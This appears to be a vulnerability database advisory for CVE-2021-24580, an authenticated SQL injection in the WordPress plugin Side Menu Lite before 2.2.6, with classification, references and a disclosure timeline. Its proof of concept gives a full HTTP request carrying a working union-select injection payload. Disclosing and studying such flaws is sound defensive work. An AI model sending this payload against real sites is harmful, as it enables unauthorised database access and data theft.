WordPress Plugin Vulnerabilities

Side Menu Lite < 2.2.6 - Authenticated SQL Injection

Description

The plugin does not sanitise user input from the List page in the admin dashboard before using it in SQL statement, leading to an SQL Injection issue

Proof of Concept

POST /wp-admin/admin.php?page=side-menu-lite&tab=list HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: [admin+]

s=aa%2527+union+select+1%2Cuser%28%29%2C3+--+a

Affects Plugins

Plugin icon
side-menu-lite
Fixed in 2.2.6

References

CVE
CVE-2021-24580
URL
https://github.com/pang0lin/CVEproject/blob/main/wordpress_side-menu-lite_sqli2.md

Classification

Type
SQLI
OWASP top 10
A1: Injection
CWE
CWE-89
CVSS
8.2 (high)

Miscellaneous

Original Researcher
pang0lin@webray.com.cn
Submitter
pang0lin@webray.com.cn
Submitter website
https://github.com/pang0lin
Verified
Yes
WPVDB ID
2faccd1b-4b1c-4b3e-b917-de2d05e860f8

Timeline

Publicly Published
2021-07-27 (about 2 years ago)
Added
2021-07-29 (about 2 years ago)
Last Updated
2022-02-24 (about 2 years ago)

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